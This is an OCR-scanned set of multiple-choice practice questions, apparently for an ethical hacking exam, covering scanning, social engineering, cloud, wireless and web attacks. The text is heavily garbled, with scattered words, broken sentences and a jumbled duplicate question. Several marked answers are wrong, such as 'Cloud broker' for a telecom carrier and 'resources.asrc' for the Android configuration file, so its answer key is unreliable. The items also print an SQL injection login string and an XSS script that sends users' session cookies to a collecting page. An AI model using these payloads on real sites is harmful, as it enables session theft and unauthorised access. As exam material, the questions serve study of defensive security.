Andrew is an Ethical Hacker who was assigned the task of discovering all the active devices hidden by a restrictive firewall in the IPv4 range in a given target network.
Which of the following host discovery techniques must be use to perform the given
task?
ARP ping scan
UDP scan
ACK flag probe scan
TCP Maimon scan
Richard, an attacker, aimed to hack IoT devices connected to a target network. In this process, Richard recorded the frequency required to share information between connected devices. After obtaining the frequency, he captured the original data when commands were initiated by the connected devices. Once the original data were collected, he used free tools such as URH to segregate the command sequence. Subsequently, he started injecting the segregated command sequence on the same frequency into the IoT network, which repeats the captured signals of the devices. What is the type of attack performed by Richard in the above scenario?
Cryptanalysis attack
\circ
Reconnaissance attack
\circ
Replay attack
\circ
Side-channel attack

An<u>s</u>wer

This for	m of encryption algo	rithm is a symme	tric key block	cipher that is c	haracterized
by a 128	-bit block size, and it	s key size can be ເ	ıp to 256 bits.	Which among t	he following
is	this	•	encryption		algorithm?
0					
IDEA					
0					
HMAC e	encryption algorithm				
0					
Blowfish	n encryption algorithm	1			
•					
Twofish	encryption algorithm				
Joe wor	ks as an IT administ	rator in an orgar	nization and l	has recently se	t up a cloud
comput	ing service for the or	ganization. To im	plement this	service, he read	hed out to a
telecom	company for provid	ling Internet conr	nectivity and	transport servi	ces between
the	organization	and the	cloud	service	provider.
In the N	IIST cloud deployme			er which categ	ory does the
telecom	n company	fall in	the	above	scenario?
0					
Cloud a	uditor				
0					
Cloud c	onsumer				
0					
Cloud c	arrier				
•					
Cloud b	roker				
In orde	r to tailor your tests	during a web-ap	plication sca	n, you decide t	o determine
which v	veb-server version is	hosting the appl	ication. On us	sing the sV flag	with Nmap,
you	obtain	the	follo	wing	response:
80/tcp	open	http-proxy	Apache	Server	7.1.6
What	information-gathe	ring techniqu	e does	this best	describe?
•					
Banner	grabbing				
0					
WHOIS	lookup				
\circ					

Dictionary attack

Brute forcing

Sam is a penetration part asked to perform port given task, Sam sends response by the What is the port series

Sam is a penetration tester hired by Inception Tech, a security organization. He was asked to perform port scanning on a target host in the network. While performing the given task, Sam sends FIN/ACK probes and determines that an RST packet is sent in response by the target host, indicating that the port is closed. What is the port scanning technique used by Sam to discover open ports?

Xmas scan

(

TCP Maimon scan

0

ACK flag probe scan

0

IDLE/IPID header scan

There are multiple cloud deployment options depending on how isolated a customer's resources are from those of other customers. Shared environments share the costs and allow each customer to enjoy lower operations expenses. One solution is for a customer to join with a group of users or organizations to share a cloud environment. What is this cloud deployment option called?

0

Private

0

Hybrid

(

Community

0

Public

Johnson, an attacker, performed online research for the contact details of reputed cybersecurity firms. He found the contact number of sibertech.org and dialed the number, claiming himself to represent a technical support team from a vendor. He warned that a specific server is about to be compromised and requested sibertech.org to follow the provided instructions. Consequently, he prompted the victim to execute unusual commands and install malicious files, which were then used to collect and pass critical information to Johnson's machine.

Quid pro quo	
0	
Diversion theft	
Phishing	
Elicitation	
Bella, a security professional working at an IT firm, finds that a security breach occurred while transferring important files. Sensitive data, employee usernames, passwords are shared in plaintext, paving the way for hackers to perform successession hijacking. To address this situation, Bella implemented a protocol that set the security of the sec	and sfu
data using encryption and digital certification which of the following protocols is used by Be	tes ella:
5 '	:IIa
LITTE	
HTTPS	
FTP	
IP	
FTPS	
Clark, a professional hacker, was hired by an organization to gather sensi	
information about its competitors surreptitiously. Clark gathers the server IP add	
of the target organization using Whois footprinting. Further, he entered the serve	
address as an input to an online tool to retrieve information such as the network ra of the target organization and to identify the network topology and operating sys	_
used in the the network topology and operating sys	
What is the online tool employed by Clark in the above scena	
0	
Baidu	
•	
ARIN	
DuckDuckGo	

AOL

Abel, a security professional, conducts penetration testing in his client organization to check for any security loopholes. He launched an attack on the DHCP servers by broadcasting forged DHCP requests and leased all the DHCP addresses available in the DHCP scope until the server could not issue any more IP addresses. This led to a DoS attack, and as a result, legitimate employees were unable to access the client's network.

Which of the following attacks did Abel perform in the above scenario?

0

STP attack

0

VLAN hopping

•

DHCP starvation

0

Rogue DHCP server attack

Samuel, a professional hacker, monitored and intercepted already established traffic between Bob and a host machine to predict Bob's ISN. Using this ISN, Samuel sent spoofed packets with Bob's IP address to the host machine. The host machine responded with a packet having an incremented ISN. Consequently, Bob's connection got hung, and Samuel was able to communicate with the host machine on behalf of Bob.

What is the type of attack performed by Samuel in the above scenario?

0

UDP hijacking

0

Forbidden attack

0

Blind hijacking

◉

TCP/IP hijacking

Allen, a professional pen tester, was hired by XpertTech Solutions to perform an attack simulation on the organization's network resources. To perform the attack, he took advantage of the NetBIOS API and targeted the NetBIOS service. By enumerating NetBIOS, he found that port 139 was open and could see the resources that could be

accessed or viewed on a remote system. He came across many NetBIOS codes during enumeration.

Identify the NetBIOS code used for obtaining the messenger service running for the logged-in user?

0

< 20 >

0

< 00 >

(e)

< 03 >

0

<1B>

Suppose that you test an application for the SQL injection vulnerability. You know that the backend database is based on Microsoft SQL Server. In the login/password form, you enter the following credentials:

Username: attack' or 1=1 -

Password: 123456

Based on the above credentials, which of the following SQL commands are you expecting to be executed by the server, if there is indeed an SQL injection vulnerability?

select * from Users where UserName = 'attack or 1=1 -- and UserPassword = '123456'

select * from Users where UserName = 'attack' or 1=1 --' and UserPassword = '123456'

select * from Users where UserName = 'attack' ' or 1=1 -- and UserPassword = '123456'

select * from Users where UserName = 'attack' or 1=1 -- and UserPassword = '123456'

This wireless security protocol allows 192-bit minimum-strength security protocols and cryptographic tools to protect sensitive data, such as GCMP-256, HMAC-SHA384, and ECDSA using a 384-bit elliptic curve. Which is this wireless security protocol?

0

WPA2-Enterprise

0

WPA2-Personal

WPA3-Personal



WPA3-Enterprise

Don, a student, came across a gaming app in a third-party app store and installed it. Subsequently, all the legitimate apps in his smartphone were replaced by deceptive applications that appeared legitimate. He also received many advertisements on his smartphone after installing the What is the attack performed on Don in the above scenario?

•

Agent Smith attack

0

Clickjacking

0

SIM card attack

0

SMS phishing attack

Bobby, an attacker, targeted a user and decided to hijack and intercept all their wireless communications. He installed a fake communication tower between two authentic endpoints to mislead the victim. Bobby used this virtual tower to interrupt the data transmission between the user and real tower, attempting to hijack an active session. Upon receiving the user's request, Bobby manipulated the traffic with the virtual redirected the victim website. tower and to malicious What is the attack performed by Bobby in the above scenario?

0

KRACK attack

0

Jamming signal attack

◉

aLTEr attack

 \circ

Wardriving

Louis, a professional hacker, had used specialized tools or search engines to encrypt all his browsing activity and navigate anonymously to obtain sensitive/hidden information about official government or federal databases. After gathering the information, he successfully performed an attack on the target government

of	46.0								
	the	following	techniques	is	described	in	the	above	scenario?
eb fo	otprin	iting							
otprir	nting								
otprir	nting								
foot	tprinti	ng							
		•		•					•
neou	ısly	gatheri	ng info	rma	tion a	bout	•	the	hacker?
ot									
م مام	tostio	n sustam							
		,						c	
-			•						
							•		es and are
								•••	
Ū			•						
aissa	ince								
ation									
nizati	on								
	eb for other of the meon of th	eb footprint otprinting otprinting of the folloment for neously out	eb footprinting otprinting of the following informent for hackers to meously gathering of a penetration tester of XYZ. You harvested gaclient-side backdowstage of the cyber kill daissance	eb footprinting otprinting of the following information secument for hackers to prevent the neously gathering information secuments of the secument for hackers to prevent the neously gathering information tester working to the tark XYZ. You harvested two employers a client-side backdoor to send it is stage of the cyber kill chain are you alissance	eb footprinting otprinting of the following information security ment for hackers to prevent them francously gathering information of the following information security ment for hackers to prevent them francously gathering information of the following information tester working to test of the table of the cyber kill chain are you at?	eb footprinting otprinting of the following information security controls or imment for hackers to prevent them from comproneously gathering information a security gathering information and the security gathering	eb footprinting otprinting of the following information security controls create ament for hackers to prevent them from compromisineously gathering information about the security gathering to test the user awarent XYZ. You harvested two employees' emails from soming a client-side backdoor to send it to the employees via stage of the cyber kill chain are you at?	eb footprinting otprinting of the following information security controls creates an iment for hackers to prevent them from compromising crineously gathering information about out out out out out out out	otprinting e footprinting of the following information security controls creates an appealing iment for hackers to prevent them from compromising critical target neously gathering information about the security gathering information about the security controls are a penetration tester working to test the user awareness of the empta XYZ. You harvested two employees' emails from some public source gather actions and client-side backdoor to send it to the employees via email. Stage of the cyber kill chain are you at?

Command and control

bypassin	g			1	the				fire	walls
On wh	ich of	the	following	ports	should	Robin	run	the	NSTX	tool
0										
Port 23										
•										
Port 53										
0										
Port 80										
0										
Port 50										
What is t	he file t	hat det	ermines the	e basic c	onfigura	tion (spe	cifically	activ	ities, se	rvices
broadcas	st	receive	ers, et	c.)	in	an	Android	d	applic	ation
0										
Android	Manifest	.xml								
0										
APK.info										
0										
classes.d	ex									
•										
resource	s.asrc									
the scan	: "The a	ttacker	ned with th must scan esses." Sup you	every po	ort on th	e server	several	times perf	s using a	set o
0										
The -g fla	ng									
0										
C The -f fla	g									
	g									

John, a professional hacker, targeted an organization that uses LDAP for accessing distributed directory services. He used an automated tool to anonymously query the LDAP service for sensitive information such as usernames, addresses, departmental details, and server names to launch further attacks on the target organization. What is the tool employed by John to gather information from the LDAP service?

0

Zabasearch

0

EarthExplorer

◉

JXplorer

0

ike-scan

Jim, a professional hacker, targeted an organization that is operating critical industrial infrastructure. Jim used Nmap to scan open ports and running services on systems connected to the organization's OT network. He used an Nmap command to identify Ethernet/IP devices connected to the Internet and further gathered information such as the vendor name, product code and name, device name, and IP address. Which of the following Nmap commands helped Jim retrieve the required information?

```
nmap -Pn -sT -p 46824 < Target IP >

nmap -Pn -sT -p 102 --script s7-info < Target IP >

nmap -Pn -sU -p 44818 --script enip-info < Target IP >

nmap -Pn -sT --scan-delay 1s --max-parallelism 1 -p < Port List > < Target IP >
```

George is a security professional working for iTech Solutions. He was tasked with securely transferring sensitive data of the organization between industrial systems. In this process, he used a short-range communication protocol based on the IEEE 203.15.4 standard. This protocol is used in devices that transfer data infrequently at a low rate in а restricted area. within of 10-100 range m. What is the short-range wireless communication technology George employed in the above scenario?

0

NB-IoT

MQTT

0

LPWAN

•

Zigbee

While browsing his Facebook feed, Matt sees a picture one of his friends posted with the caption, "Learn more about your friends!", as well as a number of personal questions. Matt is suspicious and texts his friend, who confirms that he did indeed post it. With assurance that the post is legitimate, Matt responds to the questions on the post. A few days later, Matt's bank account has been accessed, and the password has been changed.

What most likely happened?

(

Matt inadvertently provided the answers to his security questions when responding to the post.

0

Matt's computer was infected with a keylogger.

0

Matt's bank-account login information was brute forced.

0

Matt inadvertently provided his password when responding to the post.

Conside	r	the	9	followin	following		Nmap			output:
Starting	Nm	ap X.	ΧX	(http://nmap.or	ttp://nmap.org) at XXX-XX-XX				XX:XX	K EDT
Nmap	scan	report	for	192.168.1.42	Host	is	up	(0.0002	23s	latency).
Not	show	n: 9	932	filtered	ports,		56	clos	sed	ports
PORT				STATE						SERVICE
21/tcp				ope	n					ftp
22/tcp		open							ssh	
25/tcp		open sm:							smtp	
53/tcp		open d						domain		
80/tcp		open								http
110/tcp			open							pop3
143/tcp		open						imap		
443/tcp		open htt						https		
465/tcp			open sn						smtps	
587/tcp				open					sul	omission

993/tcp						open					imaps
995/tcp						open					pop3s
Nmap	done:	1	IP	address	(1	host	up)	scanned	d in	3.90	seconds
What co	ommand	-line	para	ameter	could	you use	to d	letermine	the ty	ype and	d version
number			of			the		web)		server?
0											
-sS											
0											
-V											
•											
-sV											
0											
-Pn											
machine	es. The a	ttacl	cer fi	irst colle	cts in	formatio	n abo	techniqu out a large ne machin	numb	er of v	
runs sir	g half of multane	the	list /. Th	to the n	ewly	comprom ensures	ised	machines spreadir	. The s	cannin	lation of
runs sir	g half of multane	the ously	list /. Th	to the nois techi	ewly	comprom ensures in	ised	machines spreadir lit	the sand	cannin	lation of time.
runs sir maliciou Which	g half of multane	the ously	list /. Th	to the nois techi	ewly	comprom ensures	ised	machines spreadir	the sand	cannin	lation of
runs sir maliciou Which	g half of multaned us	the busly	list /. Th c echni	to the n nis techi ode ique	ewly	comprom ensures in	ised	machines spreadir lit	the sand	cannin	lation of time.
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runs sir maliciou Which Topolog Hit-list se Permuta Subnet s Which of anonym SSO	ig half of multaneous ical scann canning to ation scan	techi	list /. Th cechnic technic technic technic technic	to the nais technology code ique nique	ewly nique	comprom ensures in is	ised the	machines spreadir lit discu	. The s ng and ttle ssed	canninį instal	lation of time. here?

WPA

Samuel a security administrator, is assessing the configuration of a web server. He noticed that the server permits SSLv2 connections, and the same private key certificate is used on a different server that allows SSLv2 connections. This vulnerability makes the web server vulnerable to attacks as the SSLv2 server can leak key

Which of the following attacks can be performed by exploiting the above vulnerability?

0

DROWN attack

0

DUHK attack

(

Side-channel attack

0

Padding oracle attack

Security administrator John Smith has noticed abnormal amounts of traffic coming from local computers at night. Upon reviewing, he finds that user data have been exfiltrated by an attacker. AV tools are unable to find any malicious software, and the IDS/IPS has not reported on any non-whitelisted programs. What type of malware did the attacker use to bypass the company's application whitelisting?

 \bigcirc

Phishing malware

0

Zero-day malware

0

Logic bomb malware

◉

File-less malware

Bob was recently hired by a medical company after it experienced a major cyber security breach. Many patients are complaining that their personal medical records are fully exposed on the Internet and someone can find them with a simple Google search. Bob's boss is very worried because of regulations that protect those data. Which of the following regulations is mostly violated?

0

ISO 2002								
0								
PII								
0								
PCI DSS								
•								
HIPPA/PHI								
John is investig	ating w	eb-applicatio	n firewal	l logs and	d obse	vers th	at som	eone is
attempting		to	inject		the		fo	llowing:
char							I	buff[10];
buff[10]			=					'a';
What	type	of		attack		is		this?
0								
CSRF								
0								
XSS								
0								
SQL injection								
•								
Buffer overflow								
Susan, a softwar	e develo	per, wants l	ner web Al	PI to upda	te othe	r applica	ations v	with the
latest information							-	
that are raised								
other application				_				
	the	following	techniqu	es is	emp	loyed	by	Susan?
COADADI								
SOAP API								
O DECT ADI								
REST API								
() Web shalls								
Web shells								
Wahhaaks								
Webhooks			_		_			
When analyzing	the IDS	logs, the sy	stem adn	nınıstrato	r notice	ed an al	ert was	slogged

when the external router was accessed from the administrator's Computer to update

router

the

configuration.

What	type	of	an	alert	is	this?
0						
True positive						
•						
False positive	•					
0						
False negativ	e					
0						
True negative	2					
•	ssional hacker, o		-			
	this process, he				-	•
	NSSEC cannot (_	_	_	_
and	ypass a firewall		:Mea commu :&C	mication with	n the victim	server.
	the technique			n to byp	ass the	firewall?
0	•	. ,		71		
DNS enumer	ation					
•						
DNS tunnelin	g method					
0						
DNS cache sr	nooping					
0						
DNSSEC zone	walking					
Clark is a pro	fessional hacke	r. He created	l and configu	red multiple	domains po	ointing to
the same hos	st to switch quic	kly between	the domain	s and avoid	detection.	
Identify the l	behavior of the	adversary in	the above so	cenario.		
0						
Use of comm	and-line interface	е				
0						
Use of DNS to	unneling					
•						
Unspecified p	proxy activities					
0						
Data staging						

Henry is a cyber security specialist hired by BlackEye – Cyber Security Solutions. He was tasked with discovering the operating system (OS) of a host. He used the Unicornscan tool to discover the OS of the target system. As a result, he obtained a TTL value, which indicates that the target system is running a Windows OS. Identify the TTL value Henry obtained, which indicates that the target OS is Windows.

(

128

0

255

0

138

0

64

David is a security professional working in an organization, and he is implementing a vulnerability management program in the organization to evaluate and control the risks and vulnerabilities in its IT infrastructure. He is currently executing the process of applying fixes on vulnerable systems to reduce the impact and severity of vulnerabilities.

Which phase of the vulnerability-management life cycle is David currently in?

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Verification

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Risk assessment

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Remediation

0

Vulnerability scan

Judy created a forum. One day, she discovers that a user is posting strange images without writing comments. She immediately calls a security expert, who discovers that the following code is hidden behind those images: <script>

document.write('<img src="https://localhost/submitcookie.php? cookie ='+
escape(document.cookie) + ''' />);
</script>

What issue occurred for the users who clicked on the image?

0

The code redirects the user to another site.
0
The code injects a new cookie to the browser.
•
This php file silently executes the code and grabs the user's session cookie and session ID.
0
The code is a virus that is attempting to gather the user's username and password.
Steven connected his iPhone to a public computer that had been infected by Clark, an attacker. After establishing the connection with the public computer, Steven enabled iTunes Wi-Fi sync on the computer so that the device could continue communication
with that computer even after being physically disconnected. Now, Clark gains access
to Steven's iPhone through the infected computer and is able to monitor and read all
of Steven's activity on the iPhone, even after the device is out of the communication
zone.
Which of the following attacks is performed by Clark in the above scenario?
Man-in-the-disk attack
Exploiting SS7 vulnerability
iOS jailbreaking
iOS trustjacking
Abel, a cloud architect, uses container technology to deploy applications/software
including all its dependencies, such as libraries and configuration files, binaries, and
other resources that run independently from other processes in the cloud environment. For the containerization of applications, he follows the five-tier
container technology architecture. Currently, Abel is verifying and validating image
contents, signing images, and sending them to the registries.
Which of the following tiers of the container technology architecture is Abel currently
working in?
•
Tier-3: Registries
0
Tier-4: Orchestrators

Tier-2: Testing and accreditation systems

Tier-1: Developer machines

Gerard, a disgruntled ex-employee of Sunglass IT Solutions, targets this organization to perform sophisticated attacks and bring down its reputation in the market. To launch the attacks process, he performed DNS footprinting to gather information about DNS servers and to identify the hosts connected in the target network. He used an automated tool that can retrieve information about DNS zone data including DNS domain names, computer names, IP addresses, DNS records, and network Whois records. He further exploited this information to launch other sophisticated attacks. What scenario? is the tool employed by Gerard in the above

0

zANTI





0

Towelroot

0

Knative